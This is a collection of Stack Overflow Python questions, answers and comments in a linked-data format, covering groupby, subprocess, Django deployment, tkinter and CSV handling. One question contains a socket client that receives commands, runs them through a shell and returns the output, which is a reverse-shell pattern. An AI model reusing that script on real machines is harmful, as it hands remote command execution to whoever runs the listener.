u'Yellow'}], u'topic': u'FavNem2'}]) So basically if I have even more copies in new topics "FavNem3,4,5," I will get only the ones I already didn't pull out. Note: List doesn't have to be sorted and should focus on speed (eg. if I have 5000 users and 2000 topics) I have some "solutions" which are far from actual fix.. Any ideas or guidance would be appreciated.
score: 1
type: Question
tagged with: sorting

http://stackoverflow.com/a/48652134
has comment: http://stackoverflow.com/comment/84302337
upvote count: 4
has comment: http://stackoverflow.com/comment/84302669
has comment: http://stackoverflow.com/comment/84302409
downvote count: 0
score: 4
has comment: http://stackoverflow.com/comment/84302338
has comment: http://stackoverflow.com/comment/84302287
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/48652109
has body: Using groupby No need to make it that complex: we can first groupby the signum, and then we can calculate the sum, so: from itertools import groupby [sum(g) for _, g in groupby(data, lambda x: x &gt;= 0)] This then produces: &gt;&gt;&gt; from itertools import groupby &gt;&gt;&gt; data = [0,1,2,3, -1,-2,-3, 0,1,2,3, -1,-2,-3] &gt;&gt;&gt; [sum(g) for _, g in groupby(data, lambda x: x &gt;= 0)] [6, -6, 6, -6] So groupby produces tuples with the "key" (the part we calculate with the lambda), and an iterable of the "burst" (a continuous subsequence of elements with the same key). We are only interested in the latter g, and then calculate sum(g) and add that to the list. Custom made algorithm We can also write our own version, by using: swap_idx = [0] swap_idx += [i+1 for i, (v1, v2) in enumerate(zip(data, data[1:])) if (v1 &gt;= 0) != (v2 &gt;= 0)] swap_idx.append(None) our_sums = [sum(data[i:j]) for i, j in zip(swap_idx, swap_idx[1:])] Here we first construct a list swap_idx that stores the indices where of the element where the signum changes. So for your sample code that is: &gt;&gt;&gt; swap_idx [0, 4, 7, 11, None] The 0 and None are added by the code explicitly. So now that we identified the points where the sign has changed, we can sum these subsequences together, with sum(data[i:j]). We thus use zip(swap_idx, swap_idx[1:]) to obtain two consecutive indices, and thus we can then sum that slice together. More verbose version The above is not very readable: yes it works, but it requires some reasoning. We can also produce a more verbose version, and make it even more generic, for example: def groupby_aggregate(iterable, key=lambda x: x, aggregate=list): itr = iter(iterable) nx = next(itr) kx = kxcur = key(nx) current = [nx] try: while True: nx = next(itr) kx = key(nx) if kx != kxcur: yield aggregate(current) current = [nx] kxcur = kx else: current.append(nx) except StopIteration: yield aggregate(current) We can then use it like: list(groupby_aggregate(data, lambda x…
has comment: http://stackoverflow.com/comment/84302309
type: Answer
accepted answer of: http://stackoverflow.com/q/48652109
has comment: http://stackoverflow.com/comment/84302769
has comment: http://stackoverflow.com/comment/84302415

http://stackoverflow.com/comment/84357920
has text: Take a look at this answer : https://stackoverflow.com/questions/10373247/how-do-i-write-a-python-dictionary-to-a-csv-file
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/48680465
score: 1

http://stackoverflow.com/comment/84513803
has text: Still returns "None", though there are plenty of lines!
type: Comment
score: 0
comment on: http://stackoverflow.com/a/48756253
type: AnswerComment

http://stackoverflow.com/a/48659071
upvote count: 3
answers question: http://stackoverflow.com/q/48658952
has body: Try this: df['Sequence']=df.groupby((df['colA'] != df['colA'].shift(1)).cumsum()).cumcount() Full example: &gt;&gt;&gt; df = pd.DataFrame({'colA':[np.NaN,True,True,True,True,np.NaN,True,np.NaN,np.NaN,True,True,True,True,True]}) &gt;&gt;&gt; df['Sequence']=df.groupby((df['colA'] != df['colA'].shift(1)).cumsum()).cumcount() &gt;&gt;&gt; df colA Sequence 0 NaN 0 1 True 0 2 True 1 3 True 2 4 True 3 5 NaN 0 6 True 0 7 NaN 0 8 NaN 0 9 True 0 10 True 1 11 True 2 12 True 3 13 True 4
score: 3
downvote count: 0
type: Answer

http://stackoverflow.com/a/48783161
has body: Here's the solution I found based on https://stackoverflow.com/a/41185568/1025741 : import pandas as pd shell.executable("bash") configfile: "config.yaml" ### from itertools import product def filter_combinator(combinator, inlist): def filtered_combinator(*args, **kwargs): for wc_comb in combinator(*args, **kwargs): # Use frozenset instead of tuple # in order to accomodate # unpredictable wildcard order if frozenset(wc_comb) in inlist: yield wc_comb return filtered_combinator # open samplesheet units = pd.read_table(config["units"], dtype=str) # list of pair sample-unit #inList=units"sample","unit".drop_duplicates().to_dict('r') inList={ frozenset({("sample", "A"), ("unit", "lane1")}), frozenset({("sample", "A"), ("unit", "lane2")}), frozenset({("sample", "B"), ("unit", "lane1")})} # set df index units=units.set_index(["sample","unit"]) # build new iterator filtered_product = filter_combinator(product, inList) rule all: input: expand("{sample}/{sample}_{unit}_merge_R1.txt", filtered_product, sample=units.index.get_level_values('sample').unique().values, unit=units.index.get_level_values('unit').unique().values), expand("{sample}/{sample}_{unit}_merge_R2.txt", filtered_product, sample=units.index.get_level_values('sample').unique().values, unit=units.index.get_level_values('unit').unique().values) def get_fastq_r1(wildcards): return units.loc[(wildcards.sample, wildcards.unit), ["fq1"]].dropna().values.flatten() def get_fastq_r2(wildcards): return units.loc[(wildcards.sample, wildcards.unit), ["fq2"]].dropna().values.flatten() rule merge: input: r1=get_fastq_r1, r2=get_fastq_r2 output: r1_o="{sample}/{sample}_{unit}_merge_R1.txt", r2_o="{sample}/{sample}_{unit}_merge_R2.txt" message: "test" shell: """ cat {input.r1} &gt; {output.r1_o} cat {input.r2} &gt; {output.r2_o} """
downvote count: 0
type: Answer
score: 2
answers question: http://stackoverflow.com/q/48747790
upvote count: 2

http://stackoverflow.com/a/48694090
type: Answer
has body: I managed to run the example but didn't reolve the URLproblem Download the csv file to the get_started directory Open iris_data.py and set the path of TRAIN_URL and TEST_URL to the csv files TRAIN_URL = "iris_training.csv" TEST_URL = "iris_test.csv" find the maybe_download function (line 11), comment out the implementation Go to the function load_data() and comment out maybe_download() function call line set train_path=TRAIN_URL and test_path = TEST_URL underneath that and before the pd.read_csv train_path = TRAIN_URL test_path = TEST_URL train = pd.read_csv(train_path, names=CSV_COLUMN_NAMES, header=0)
answers question: http://stackoverflow.com/q/48690423
score: 0

http://stackoverflow.com/q/48712810
tagged with: subprocess
type: Question
has body: I have code in two environments, a windows machine with a Linux VM. I'm trying to create a script that builds the code on the windows side via a script, buildWindows.py , run on the Linux side. I'm having the script ssh over to the windows side, and then run a python builder script windowsBuilder.py. The issue I'm having is that the python builder script on the windows side takes a while to run, and nothing is being printed out until the program finishes. Is there a way to have the output print while the script is running, versus when it ends? I'm assuming I'm having this issue because when you call a python script, it opens a new python environment, and it only returns information once the python environment is finished. subprocess call in buildWindows.py: COMMAND = "cd C:/codeLocation/; python windowsBuilder.py" ssh = subprocess.Popen(["ssh", "%s" % IP_ADDRESS, COMMAND], shell=False, stdout=subprocess.PIPE) for line in iter(ssh.stdout.readline, ''): sys.stdout.write(line)
has title: Calling python script from subprocess not outputting
has answer: http://stackoverflow.com/a/48712925
tagged with: python-2.7
score: 0
answer count: 1
type: UnansweredQuestion
tagged with: python

http://stackoverflow.com/q/48771195
type: Question
accepted answer: http://stackoverflow.com/a/48771286
downvote count: 0
has body: Below is example code: from subprocess import check_output list1 = ['df', 'df -h'] for x in list1: output = check_output([x]) Getting below error for list1 of dh -h value. File "/usr/lib64/python2.7/subprocess.py", line 568, in check_output process = Popen(stdout=PIPE, *popenargs, **kwargs) File "/usr/lib64/python2.7/subprocess.py", line 711, in __init__ errread, errwrite) File "/usr/lib64/python2.7/subprocess.py", line 1327, in _execute_child raise child_exception OSError: [Errno 2] No such file or directory what is best method to read linux command output's in python2.7
tagged with: python-2.7
tagged with: linux
possible better answer: http://stackoverflow.com/a/48771443
answer count: 3
has answer: http://stackoverflow.com/a/48771443
has title: subprocess checkouput OSError: [Errno 2] No such file or directory
score: 1
favorite count: 0
tagged with: subprocess
has answer: http://stackoverflow.com/a/48771286
upvote count: 1
tagged with: python
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/48772022

http://stackoverflow.com/comment/84353703
type: AnswerComment
type: Comment
has text: @zonzon510 It's not duplicating the image. With 16-bit data you are allocating a buffer twice as big, and a row has twice as many bytes, so one "row" contains two rows of real data. That's also why the last half of your image was blank...only the first half was filled with the byte data.
comment on: http://stackoverflow.com/a/48659364
score: 0

http://stackoverflow.com/q/48787643
tagged with: lstm
downvote count: 2
tagged with: supervised-learning
answer count: 1
tagged with: keras
favorite count: 0
type: UnansweredQuestion
tagged with: python
upvote count: 0
has answer: http://stackoverflow.com/a/48793398
type: Question
tagged with: time-series
score: -2
has body: I am trying to predict bike availability. Initially I've defined this problem as a time series. To predict the bikes I'm transforming my set to a supervised learning problem and then feeding it to the NN. On a first approach the supervised problem I defined it as the following day_of_year(t-1) | time(t-1) | weekday(t-1) | weekday(t-1) | free_bikes(t-1) | free_bikes(t) But after thinking for a while. In the future when I want to predict bikes for the future, not near future, I'd like to know the availability for example the next day or next week so I don't want to feed all the time-steps to the nn. Instead I've come up with this: day_of_year(t-1) | time(t-1) | weekday(t-1) | weekday(t-1) | free_bikes(t) I have removed free_bikes(t-1) as an input to the problem. After this the predicted values are messed up, the predicted values are absurdly incorrect and I don't fully understand why is so. Links: Predicted values Output of the script Model
has title: Strange values when dropping column from a supervised learning dataset

http://stackoverflow.com/a/48675507
type: AcceptedAnswer
has body: Try this. You are breaking too early and clicking the wrong stuff. import pyautogui, time while True: #I want to check image every sec time.sleep(.1) #put time interval for checking here if pyautogui.locateOnScreen(r'C:\Users\Lawrence\Desktop\PyTest\image.png'): pyautogui.click(1880,15) break
has comment: http://stackoverflow.com/comment/84349744
has comment: http://stackoverflow.com/comment/84349683
score: 0
type: Answer
has comment: http://stackoverflow.com/comment/84349771
has comment: http://stackoverflow.com/comment/84349786
accepted answer of: http://stackoverflow.com/q/48675333
answers question: http://stackoverflow.com/q/48675333

http://stackoverflow.com/a/75487738
upvote count: 9
answers question: http://stackoverflow.com/q/48796147
has body: It turns out there's an alternative library pynput that does the same thing as keyboard, but does not require root permissions. Install with: pip install pynput And use with: from pynput.keyboard import Key, Controller keyboard = Controller() # Type 'Hello World' using the shortcut type method keyboard.type('Hello World') This will immediately cause the keyboard type out "Hello World".
score: 8
type: Answer
downvote count: 1

http://stackoverflow.com/comment/84584410
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/48791146
has text: Can't you add the command for the program to ~/.bashrc ?
score: 0

http://stackoverflow.com/a/48761328
score: 2
accepted answer of: http://stackoverflow.com/q/48761269
upvote count: 3
downvote count: 1
has body: Notice the triple chevrons ("&gt;&gt;&gt;") means you are inside the Python REPL. Install packages either: outside Python at the commandline (recommended) inside Python (less common) Try the first option: In cmd &gt; pip install requests &gt; python # activates python In Python &gt;&gt;&gt; import requests &gt;&gt;&gt; r = requests.get("https://www.google.com") &gt;&gt;&gt; r.status_code 200
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/48761269
type: Answer

http://stackoverflow.com/q/48652000
has comment: http://stackoverflow.com/comment/84302131
has answer: http://stackoverflow.com/a/48652107
accepted answer: http://stackoverflow.com/a/48652107
type: Question
type: AnsweredQuestion
tagged with: network-programming
has body: I'm trying to use the socket object in one of my python codes and it fails at this line: #!/usr/bin/python import subprocess,socket HOST = '127.0.0.1' PORT = '443' s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((HOST, PORT)) s.send('Yo') while 1: data = s.recv(1024) if data == "quit": break proc = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE) stdoutput1 = proc.stdout.read() + proc.stderr.read() s.send(stdoutput) s.send('Bye') s.close() It fails at: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) File "C:\Python27\lib\socket.py", line 224, in meth return getattr(self._sock,name)(*args) TypeError: an integer is required It's telling me an integer is required in the parameters when I can't see why it would be. It calls this method from socket.py: def meth(name,self,*args): return getattr(self._sock,name)(*args)
has title: Python Socket getattr requires integer
answer count: 1
score: 0
has comment: http://stackoverflow.com/comment/84302073
tagged with: sockets
tagged with: python

http://stackoverflow.com/q/48649779
has comment: http://stackoverflow.com/comment/84299241
has comment: http://stackoverflow.com/comment/84299831
has title: How to stop (or hide) process 'python' showing up in dock in MacOS with Anaconda Spyder?
downvote count: 0
has comment: http://stackoverflow.com/comment/84301073
tagged with: macos
favorite count: 0
tagged with: python-3.x
type: UnansweredQuestion
tagged with: spyder
tagged with: python
has comment: http://stackoverflow.com/comment/84298121
answer count: 0
upvote count: 3
has comment: http://stackoverflow.com/comment/84299076
type: Question
score: 3
tagged with: anaconda
has body: I am using Spyder with Anaconda Launcher. I was working on some machine learning models and when drawing graphs, I used X_grid = np.arange(min(X), max(X), 0.00000001) Now the problem is that 0.00000001 takes a LOT of time to execute. Ideally people don't exceed 0.001. Because of this, there is one process called "python" always showing up in the dock. If I force quit it, the kernel in Spyder dies and restarts and it instantly shows up in the dock again. The python process icon in the dock looks like this. I tried googling a lot, checking out answers in stackoverflow but none helped. I also tried completely removing anaconda from my mac, deleting the anaconda folder from the Users folder, then restarting the mac and then reinstalling it. Nothing seems to work! And it is really annoying to see that white icon in the dock. So can anyone help me get rid of that white python process icon from the dock? EDIT: I seem to have found the problem. Whenever I try to plot a graph using matplotlib, it used to appear in the console but the process icon used to not appear. To make the graph appear in a separate window, I go to Preferences > IPython Console > Graphics and select Automatic under 'Graphics Backend'. When I do this, this annoying icon appears again! Any help is appreciated.

http://stackoverflow.com/q/48782980
has comment: http://stackoverflow.com/comment/84568415
tagged with: python
has comment: http://stackoverflow.com/comment/84568667
has comment: http://stackoverflow.com/comment/84569534
has comment: http://stackoverflow.com/comment/84567961
tagged with: user-input
has comment: http://stackoverflow.com/comment/119860137
upvote count: 1
has comment: http://stackoverflow.com/comment/84568248
downvote count: 1
has answer: http://stackoverflow.com/a/48784109
tagged with: passwords
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/48788735
has title: How can I see if my password variable is within a line so that my code can proceed?
has comment: http://stackoverflow.com/comment/84567814
has comment: http://stackoverflow.com/comment/84567698
type: Question
has comment: http://stackoverflow.com/comment/84567863
has comment: http://stackoverflow.com/comment/84567397
possible better answer: http://stackoverflow.com/a/48784116
has answer: http://stackoverflow.com/a/48784116
has body: I am creating a password re-setter for school, and i want to check that if the password is within the first line of the text file, then it can say "Okay, choose a new password") Newpass="" Network="" setpass="" Newpass="" password="" def newpass(): Network=open("Userandpass.txt") lines=Network.readlines() password=input("just to confirm it is you, re-enter your old password:") for i in range (3): if password in line: newpass=input("Okay, choose a new password ") Network.close() Network=open("Userandpass.txt","a") if len(newpass)&gt;= 8 and newpass[0].isalnum()==True and newpass[0].isupper()==True: print('password change successful') Network.write("New Password : " + newpass ) Network.close() break else: print("password did not match requirements, try again ") else: print("error") break print("3 tries up or else password updated") Network=open("Userandpass.txt","w") Network.write(input("What is your Username")+",") Network.write(input("Password:")+ ",") question=input("Do you want to change your password?") if question=="yes": Network.close() newpass() else: Network.close() print("Okay thank you.") Please help! I have been looking all over here and i can't find a solution
accepted answer: http://stackoverflow.com/a/48784109
has comment: http://stackoverflow.com/comment/84569418
has comment: http://stackoverflow.com/comment/84569027
favorite count: 0
score: 0
has comment: http://stackoverflow.com/comment/84567663
answer count: 3
has comment: http://stackoverflow.com/comment/84567495
has comment: http://stackoverflow.com/comment/84568730

http://stackoverflow.com/q/48729750
has comment: http://stackoverflow.com/comment/84458682
has title: " Errno 13 Permission denied 'bnr_code.csv'"?
score: 0
answer count: 1
tagged with: python-3.x
tagged with: apache2
accepted answer: http://stackoverflow.com/a/48729790
has body: I have deployed a Django project on server using apache2 and wsgi, Its showing an error which I probably know that why its coming. Error: IOError at / [Errno 13] Permission denied: 'bnr_code.csv' Request Method: GET Request URL: http://93.188.167.63:8080/pep_learn/ Django Version: 1.10.8 Exception Type: IOError Exception Value: [Errno 13] Permission denied: 'bnr_code.csv' Exception Location: /home/pep_web/binaryDs/views.py in &lt;module&gt;, line 6 Python Executable: /usr/bin/python Python Version: 2.7.12 I have tried some slandered solutions which are available as given bellow: chmod 777 pep_web/ chmod 771 pep_web/ sudo chown :www-data pep_web/ But nothing is working This is the file which uses 'bnr_code.csv' AA = {"A":"1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0", "C":"0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0", "D":"0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0", "E":"0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0", "F":"0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0", "G":"0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0", "H":"0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0", "I":"0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0", "K":"0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0", "L":"0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0", "M":"0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0", "N":"0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0", "P":"0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0", "Q":"0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0", "R":"0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0", "S":"0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0", "T":"0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0", "V":"0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0", "W":"0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0", "Y":"0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1"} line = [] seqs = ["ATTTRY","ATSSRY"] def bnr(x): Des = [] for n in x: Des.append(AA[n.upper()]) des = ",".join(Des) return des def Des_write(ps): f = open("bnr_code.csv",'w') for p in ps: a = bnr(p) f.write(p+','+a+'\n') f.close() Des_write(seqs) Please help One can examine the error at http://93.188.167.63:8080/pep_learn/
tagged with: django
tagged with: python
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/48729790
tagged with: mod-wsgi
type: Question

http://stackoverflow.com/a/53573606
downvote count: 1
has body: I would advise against relative in general, you can refer to this question: https://softwareengineering.stackexchange.com/a/159505 Also, you can check official pep8 specs https://www.python.org/dev/peps/pep-0008/ Absolute imports are recommended, as they are usually more readable and tend to be better behaved (or at least give better error messages) if the import system is incorrectly configured (such as when a directory inside a package ends up on sys.path): From my personal experience it turns out that they sometimes poorly integrate with Pycharm IDE when there's more complex package layout breaking test running through Pycharm. I suppose there might be some issues in other tools too.
score: 1
type: Answer
answers question: http://stackoverflow.com/q/48702550
upvote count: 2

http://stackoverflow.com/q/48668531
has body: I'm kinda new to Django as well as heroku and have encountered a problem while publishing my app to heroku. The error I get is this: remote: Compressing source files... done. remote: Building source: remote: remote: -----&gt; App not compatible with buildpack: https://codon-buildpacks.s3.amazonaws.com/buildpacks/heroku/python.tgz remote: More info: https://devcenter.heroku.com/articles/buildpacks#detection-failure remote: remote: ! Push failed remote: Verifying deploy... remote: remote: ! Push rejected to shielded-lake-72150. remote: To https://git.heroku.com/shielded-lake-72150.git ! [remote rejected] master -&gt; master (pre-receive hook declined) error: failed to push some refs to 'https://git.heroku.com/shielded-lake-72150.git' I tried a lot of solutions given online, but nothing worked. I even set the buildpack to python and added requirements.txt file. But it still shows me the same error. Any help appreciated, thanks.
has comment: http://stackoverflow.com/comment/84335444
has comment: http://stackoverflow.com/comment/84338862
downvote count: 0
tagged with: django-rest-framework
favorite count: 0
has comment: http://stackoverflow.com/comment/84336159
tagged with: python
has comment: http://stackoverflow.com/comment/84336389
has comment: http://stackoverflow.com/comment/84338783
has title: Error deploying Django app on heroku
has comment: http://stackoverflow.com/comment/84335585
answer count: 0
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/84335685
tagged with: django
upvote count: 1
type: Question
tagged with: heroku
has comment: http://stackoverflow.com/comment/84336064
score: 1
has comment: http://stackoverflow.com/comment/84336034
has comment: http://stackoverflow.com/comment/84336710

http://stackoverflow.com/comment/84410856
has text: @Piinthesky: that would still not work for the *control codes* that OP is attempting to print.
score: 0
comment on: http://stackoverflow.com/q/48703939
type: QuestionComment
type: Comment

http://stackoverflow.com/q/48731097
tagged with: python
has body: I have a page where I'll show some customers details. So I created a page called "customers details" with all the labels that I need and I set the text of these labels as variables. Too bad it doesn't work. The labels are created in the __init__ method so I can't "update" them, becouse the init is called only at the beginning. So what I thought is to create a new function that contains all the labels and I will call that function when I have the necessity...here's the problem. I'm not able to call a function in an other tk.Frame. The following code is a simplified version of the code. import tkinter as tk from tkinter import ttk class Myapp(tk.Tk): def __init__(self, *args, **kwargs): tk.Tk.__init__(self, *args, **kwargs) container = ttk.Frame(self, borderwidth=10, relief="sunken", width=200, height=100) container.pack(side="top", fill="both", expand=True) container.grid_rowconfigure(0, weight=1) container.grid_columnconfigure(0, weight=1) self.frames = {} for F in (HomePage, PageOne): frame = F(container, self) self.frames[F] = frame frame.grid(row=0, column=0, sticky="N,S,E,W") self.show_frame(HomePage) def show_frame(self, cont): frame = self.frames[cont] frame.tkraise() class HomePage(tk.Frame): def __init__(self, parent, controller): tk.Frame.__init__(self, parent) label = ttk.Label(self, text="HomePage") label.pack() button1 = ttk.Button(self, text="Quit", command=lambda: quit()) button1.pack() button2 = ttk.Button(self, text="Call Function in the other page/class to show the label", command=lambda: PageOne.function()) # this is to do it from an other class. I can't do this button2.pack() button3 = ttk.Button(self, text="Page One", command=lambda: controller.show_frame(PageOne)) button3.pack() class PageOne(tk.Frame): def __init__(self, parent, controller): tk.Frame.__init__(self, parent) label = ttk.Label(self, text="PageOne") label.pack() button1 = ttk.Button(self, text="Quit", command=lambda: quit()) button1.pack() button2 = ttk.Button(self, text="Call Func…
has answer: http://stackoverflow.com/a/48732947
tagged with: tkinter
has answer: http://stackoverflow.com/a/48731357
score: 1
type: Question
has comment: http://stackoverflow.com/comment/84462318
linked to: http://stackoverflow.com/q/7546050
tagged with: class
upvote count: 3
answer count: 2
downvote count: 2
tagged with: function
has title: Calling functions from a Tkinter Frame to another
tagged with: frame
favorite count: 0
type: UnansweredQuestion

http://stackoverflow.com/q/48725952
tagged with: pandas
tagged with: http://stackoverflow.com/tag/csv
downvote count: 0
favorite count: 0
has title: Comparing two CSV files and exporting the differences and similarities in Python?
upvote count: 1
tagged with: python
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/48726180
score: 1
possible better answer: http://stackoverflow.com/a/48726039
tagged with: analysis
has answer: http://stackoverflow.com/a/48726039
type: Question
has comment: http://stackoverflow.com/comment/84508525
tagged with: automation
has answer: http://stackoverflow.com/a/48726112
has comment: http://stackoverflow.com/comment/84509045
has body: Hey all so I've been having some trouble trying to accomplish what I need with two separate CSV files. I've found a few scripts scattered around the web that kind of do what I want, but not exactly. I no longer have code that I've tried out as I've deleted different codes so many times that I've been staring at a blank py file for quite some time. First here's the CSV files. netscan.csv (contains computer names and serial numbers, has correct data, has models) Name Serial Models computer1 serial1 model1 computer2 serial2 model2 computer3 serial3 model3 computer4 serial4 model4 ... ... computer_list.csv (contains computer names and serial numbers, has correct names, names that aren't in netscan.csv, no models, and serial numbers are wrong) Name Serial Models computer1 serialZ computerH serialN/A computer3 serialQ computer4 serialX computer2 serialM computerP serialN/A So what I would like to do is look at both files and if the value in the Name column matches I would like it to print the row from netscan.csv into a new file and do this for each row. Afterwards I would like it to take all the ones that don't exist (computerH not existing in netscan.csv for example) and add those to the new csv under the updated, correct information. Something like this: Name Serial Models computer1 serial1 model1 computer2 serial2 model2 computer3 serial3 model3 computer4 serial4 model4 computerH serialN/A computerP serialN/A I've tried merging, for loops, writing rows, etc. and I'm at a loss at how I could accomplish this at this point. Any help would be much appreciated. Edit: @unutbu what I got from your code is essentially Name Serial Models computer1 serial1 model1 computer2 serial2 model2 computer3 serial3 model3 computer4 serial4 model4 computerH serialN/A computerP serialN/A computer2 serialN/A computer3 serialN/A computer4 serialN/A So while almost everything is correct there are still duplicate Name rows from the computer_list.csv that need to be deleted if they were replace…
accepted answer: http://stackoverflow.com/a/48726180
answer count: 3

http://stackoverflow.com/comment/138103355
comment on: http://stackoverflow.com/a/66559361
score: 0
type: Comment
has text: This does not answer any of OP's questions.
type: AnswerComment

http://stackoverflow.com/comment/84425646
comment on: http://stackoverflow.com/a/48710839
has text: The code answer offered returns the max indices in the original array and I believe answers your original question. Can you verify or indicate how it fails to meet your requirement? I will modify to include the max value.
type: Comment
score: 0
type: AnswerComment

http://stackoverflow.com/a/48678529
upvote count: 8
has comment: http://stackoverflow.com/comment/91667666
has comment: http://stackoverflow.com/comment/84367089
answers question: http://stackoverflow.com/q/48676365
type: Answer
has body: You have to specify the image field explicitly to allow it to be null. use this: class PartSerializer(serializers.ModelSerializer): image = serializers.ImageField(max_length=None, allow_empty_file=True, allow_null=True, required=False) class Meta: model = Part fields = ('id', 'image') check docs for more details.
score: 8
downvote count: 0

http://stackoverflow.com/q/48662187
downvote count: 1
possible better answer: http://stackoverflow.com/a/48667776
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/73582262
tagged with: graphene-python
type: Question
has answer: http://stackoverflow.com/a/48667776
score: 0
answer count: 3
upvote count: 1
favorite count: 0
has answer: http://stackoverflow.com/a/48662968
accepted answer: http://stackoverflow.com/a/48662968
has body: I am starting working on GraphQL and as I am from python background I am using GraphQL with Python. I followed the steps provided here Link but I am still facing issues. An error occurred while resolving field Query.hello Traceback (most recent call last): File "/usr/local/lib/python3.5/dist-packages/graphql/execution/executor.py", line 311, in resolve_or_error return executor.execute(resolve_fn, source, info, **args) File "/usr/local/lib/python3.5/dist-packages/graphql/execution/executors/sync.py", line 7, in execute return fn(*args, **kwargs) TypeError: resolve_hello() missing 2 required positional arguments: 'context' and 'info' Traceback (most recent call last): File "/usr/local/lib/python3.5/dist-packages/graphql/execution/executor.py", line 330, in complete_value_catching_error exe_context, return_type, field_asts, info, result) File "/usr/local/lib/python3.5/dist-packages/graphql/execution/executor.py", line 383, in complete_value raise GraphQLLocatedError(field_asts, original_error=result) graphql.error.located_error.GraphQLLocatedError: resolve_hello() missing 2 required positional arguments: 'context' and 'info' None Please, help me resolve the issue.
tagged with: graphql
tagged with: python
has title: Error in graphQL python example code

http://stackoverflow.com/comment/84470286
type: Comment
has text: @RoryDaulton really I appreciate your answer maybe i was not clear about what I need but your answer is quite awesome and you learn me new funciton in python
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/48735275

http://stackoverflow.com/comment/84512218
comment on: http://stackoverflow.com/q/48755415
has text: so try to modify `str(value, 'utf-8')` to `str(value)`.
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/a/48797444
type: Answer
has body: The board_in paramater is completely unused. You have found bad code, that perhaps meant to use that parameter, but someone made an error and forgot to use it. The function body instead uses the global name board (the same name that is also passed in as an argument to the function call). This is why the code happens to work, but it won't work as intended when you pass in something completely different: &gt;&gt;&gt; print_board(None) ['O', 'O', 'O', 'O', 'O'] ['O', 'O', 'O', 'O', 'O'] ['O', 'O', 'O', 'O', 'O'] ['O', 'O', 'O', 'O', 'O'] ['O', 'O', 'O', 'O', 'O'] &gt;&gt;&gt; print_board("This argument is ignored, so it doesn't matter what you pass in") ['O', 'O', 'O', 'O', 'O'] ['O', 'O', 'O', 'O', 'O'] ['O', 'O', 'O', 'O', 'O'] ['O', 'O', 'O', 'O', 'O'] ['O', 'O', 'O', 'O', 'O'] &gt;&gt;&gt; board = [['A new value', 'for the board global'], ['means the output', 'changes']] &gt;&gt;&gt; print_board(2 + 2) ['A new value', 'for the board global'] ['means the output', 'changes'] It'll continue to print the board list when you pass in something completely different, like print_board(None). And it will fail with a NameError when you use del board before calling the function (and passing in something else): &gt;&gt;&gt; del board # remove the global altogether &gt;&gt;&gt; print_board({'foo', 'bar', 'baz'}) Traceback (most recent call last): File "&lt;stdin&gt;", line 1, in &lt;module&gt; File "&lt;stdin&gt;", line 2, in print_board NameError: global name 'board' is not defined I suspect that the intended implementation was: def print_board(board_in): for row in board_in: print row Now board_in is actually being used.
score: 2
downvote count: 0
has comment: http://stackoverflow.com/comment/84598115
accepted answer of: http://stackoverflow.com/q/48797352
answers question: http://stackoverflow.com/q/48797352
upvote count: 2
type: AcceptedAnswer

http://stackoverflow.com/comment/84567026
comment on: http://stackoverflow.com/q/48782764
has text: what must i do there? But i don't think that's a problem for type error.
type: Comment
type: QuestionComment
score: 0

http://stackoverflow.com/q/48720210
type: AnsweredQuestion
has title: python: can't call the function in the file from the webbrowser
type: Question
has answer: http://stackoverflow.com/a/48720529
answer count: 3
accepted answer: http://stackoverflow.com/a/48723062
score: 0
tagged with: http://stackoverflow.com/tag/csv
tagged with: python
tagged with: bottle
possible better answer: http://stackoverflow.com/a/48720270
has answer: http://stackoverflow.com/a/48720270
has body: i want to make a RESTful web service using bottle framework in python. In it i've a CSV file which contains data of the lat and lan. I've to fetch that data and show it onto the browser everytime someone searches for a specific postcode from that file. So, far i've done this. from bottle import route, run, request @route('/') def index(): """ Display welcome & instruction messages """ return " Welcome to my extra simple bottle.py powered server! \ The Web service can find a location from csv file \ The way to invoke is :\ \ http://localhost:8080/getlocation?postcode=xxxx \ \ xxxx are the postcode you want to search." @route('/getlocation/<postcode>') def getlocation(postcode): csv_file = csv.reader(open('clinic_locations.csv', "r"), delimiter=",") #return{clinicname, latitude, longitude, email, state} for row in csv_file: if postcode == row[6]: return{row[3], row[8], row[9], row[7], row[5]} run(host='localhost', port=8080, debug=True) in this i'm getting error on my browser Sorry, the requested URL 'http://localhost:8080/getlocation?postcode=4000' caused an error: i don't know where i'm wrong. Can anyone help me!
